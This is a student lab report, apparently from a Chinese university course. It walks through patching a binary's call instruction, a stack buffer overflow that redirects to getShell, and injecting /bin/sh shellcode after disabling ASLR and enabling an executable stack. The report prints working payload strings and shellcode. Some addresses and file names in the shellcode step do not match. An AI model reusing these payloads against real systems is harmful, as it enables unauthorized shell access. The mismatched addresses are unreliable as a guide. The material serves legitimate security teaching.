当前位置: 首页 > news >正文

20251907 2025-2026-2《网络攻防实践》 第九周作业 - 路口荡秋千

20251907 2025-2026-2《网络攻防实践》 第九周作业

1.实践内容

本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
实验要求:
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击

2.实践过程

2.1 手工修改可执行文件

输入命令hostnamectl set-hostname queke修改kali虚拟机主机名为自己姓名

image-20260525135831533

重启系统后可以查看到已经修改成功

image-20260525135948014

将pwn1拷贝至虚拟机中,输入命令mv pwn1 pwn20251907修改文件名为学号

image-20260525140953889

输入命令对可执行文件进行反汇编:

image-20260528155805841

找到getshell、foo、main函数,在main函数中可以看到80484b5: e8 d7 ff ff ff call 8048491 <foo>

image-20260528160145349

80484b5:
这是当前这条指令在内存中的地址(就是这条指令存放在哪里)。
e8 d7 ff ff ff:这是机器码(CPU 真正能看懂的二进制 / 十六进制指令)。
e8 = call 指令的操作码
后面 4 个字节是跳转偏移量
call 8048491 :这是反汇编后的人类可读格式,意思是:现在执行到这里,立刻跳去执行名为 foo 的函数,执行完再跳回来。
从图中可以查看到getShell函数的地址为0804847d。
若要达到调用getshell函数的目的就要修改e8 d7 ff ff ff,加上80484ba变为getshell函数的地址,所以要修改为e8 c3 ff ff ff。
输入命令vim pwn20251907打开可执行文件,退出后输入指令:%!xxd查看16进制的格式。
输入命令/e8 d7查找到需要修改的位置

image-20260528161115851

将e8 d7 ff ff ff修改为e8 c3 ff ff ff,输入命令:%!xxd -r转换为原格式,然后输入:wq保存。

再次输入命令objdump -d pwn20251907 | more进行反汇编,得到:

image-20260529194502026

可见修改成功。
运行pwn20251907程序:

image-20260529194543514

成功进入shell。

2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串

还原原文件,对其进行反汇编,对foo函数进行分析:

image-20260529195428944

这两行sub $0x38,%esp #给堆栈esp预留了一定大小的空间lea -0x1c(%ebp),%eax #将携带偏移量0x1c的ebp放到eax较为关键。
缓冲区起始地址:ebp - 0x1c返回地址:ebp + 4,偏移量:(ebp + 4) - (ebp - 0x1c) = 0x20 = 32字节
所以需要在第32字节之后(第33~36字节) 填入 getShell()的地址:0804847d。
下载并安装gdb:

image-20260529195919015

image-20260530232037764

可以找到getshell的地址。
构造攻击输入字符串:
11112222333344445555666677778888\x7d\x84\x04\x08

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > 20251907_input xxd 20251907_input

image-20260530232439152

输入命令进行测试:

(cat 20251907_input; cat) | ./pwn20251907

将20251907_input中的内容通过管道传输给pwn20251907作为输入。

image-20260530232604331

攻击成功!

2.3 注入一个自己制作的shellcode并运行这段shellcode

安装execstack:

wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb

image-20260530232908138

execstack -s pwn20251907 #设置堆栈为可执行状态 execstack -q pwn20251907 #堆栈是否为可执行状态

image-20260530233017430

输入命令more /proc/sys/kernel/randomize_va_space查看地址状态随机化

image-20260530233055279

关闭地址随机化:

image-20260530233551622

通过perl来构造输入字符串:

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input3_20251907

打开两个终端,一个终端输入命令(cat input3_20251907;cat) | ./pwn20251907作为pwn20251907的输入,另一个终端输入命令ps -ef | grep pwn20251907查看进程。

image-20260530235508714

可得进程号为22198。
再打开一个终端,进行gdb调试:
依次输入命令:

gdb pwn20251907 
attach 22198
disassemble foo #查看foo函数的ret指令的地址
break *0x080484ae #设置断点

image-20260530234358318

在一个终端按回车,另一个gdb终端输入c,输入命令info r esp查看到栈顶指针所在位置为0xffffcf6c
输入命令x/16x 0xffffcf6c查看当前栈顶的值。

image-20260530235831691

计算地址:0xffffcf6c+4=0xffffcf71,所以构造shellcode:

perl -e 'print "A" x 32;print "\x70\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input3_20251907

输入命令

(cat input7_20251907;cat) | ./pwn20251907

image-20260531000733315

攻击成功。

3. 学习中遇到的问题及解决

1.无法下载gdb组件

调整源,将国外资源调整到国内资源渠道

2.attach 22198出现问题

重新更新,再attach 22198寻找问题

4. 实践总结

通过学习缓冲区溢出、堆栈原理、汇编语言、机器指令以及shellcode等知识,我理解了程序内存布局与调用逻辑,明白溢出漏洞成因是程序未校验输入长度,导致数据越界覆盖栈内关键地址。掌握了反汇编分析指令、修改内存字节构造恶意代码、编写shellcode执行恶意指令的原理。认识到底层代码安全隐患,懂得从内存、指令层面排查漏洞,建立起底层安全思维,理解恶意攻击原理,提升代码安全防护和漏洞防范意识。

http://www.rkmt.cn/news/1432595.html

相关文章:

  • RMA技术:让机器人像生物一样本能适应复杂地形
  • 荔枝派Nano (F1C100s) 电池电量监控实战:手把手教你用KEYADC驱动读取电压(附完整源码)
  • 机器学习项目失败率高达87%?拆解从原型到生产的核心陷阱与实战规避指南
  • Quartus Prime 22.1 联合 Modelsim 仿真:从工程创建到波形查看的保姆级避坑指南
  • ESP32程序跑着跑着就重启?别慌,手把手教你排查和解决栈空间溢出(附关闭重启调试技巧)
  • Unity3D内嵌网页开发避坑:用ZFBrowser插件实现PC端交互式WebView(附中文输入修复)
  • 告别卡顿!CLion在Ubuntu上内存优化与VM参数调优实战
  • 2026年汕尾市正规上门黄金白银回收品牌门店名录 K金+铂金+金条+银条回收门店联系方式推荐+指南 - 盛世金银回收
  • FPGA开发板吃灰?用拨码开关和LED灯做个四位乘法器实验(Quartus II + Cyclone IV保姆级教程)
  • 赛博格技术:从脑机接口到外骨骼,人类增强的现在与未来
  • 在国产麒麟系统上跑虚拟机:VMware Workstation 15.5.7 保姆级安装与配置全记录
  • 播客转录:从音频到SEO资产的完整实战指南
  • 避坑指南:QGIS C++ API中GraduatedRenderer的那些‘坑’与最佳实践
  • 系统设计中的角度变量:从物理装配到认知沟通的底层影响力
  • 从关键词匹配到语义理解:解锁电商搜索新特性的技术实践
  • Sunshine云游戏服务器:3步打造你的个人游戏串流平台
  • 别再只会用GUI了!手把手教你用mongosh命令行搞定MongoDB 5.0+连接与CRUD
  • 告别云端依赖!用Android Studio和HBuilderX搞定离线APP打包(附Java 1.8避坑指南)
  • 从零移植一个开源项目:手把手教你用VSCode配置ESP32工程并解决分区表报错
  • Lindy模型稳定性≠准确率!20年SRE经验凝练:6个被忽略的时序衰减信号及实时干预SOP
  • 保姆级教程:用Python+牛顿迭代法手算北斗SPP位置(附完整代码)
  • Win11系统下,手把手教你搞定ArcGIS 10.4安装与汉化(附防火墙关闭与.NET环境避坑指南)
  • 激光雷达的‘视力’报告:如何从波长、测远能力和角分辨率,评估它在雨雾天的实际表现
  • 马斯克第一性原理与AI伦理:颠覆式创新的底层逻辑与风险平衡
  • LangGraph多智能体系统监控:从健康度到SLA的量化管理
  • 避坑指南:解决Ubuntu下Pylith和ParaView安装后最常见的5个错误(含HDF5冲突、xcb缺失等)
  • 从零构建回合制游戏AI:基于规则与启发式评估的实战解析
  • 告别玄学重启!用FreeRTOS任务管理思维,根治ESP32-C3栈空间不足的毛病
  • 别再手动画封装了!用AD的IPC向导5分钟搞定SOP-8封装(含STEP模型生成)
  • Vivado IP核的Modelsim仿真库:一次编译,多个工程复用(附.ini文件配置详解)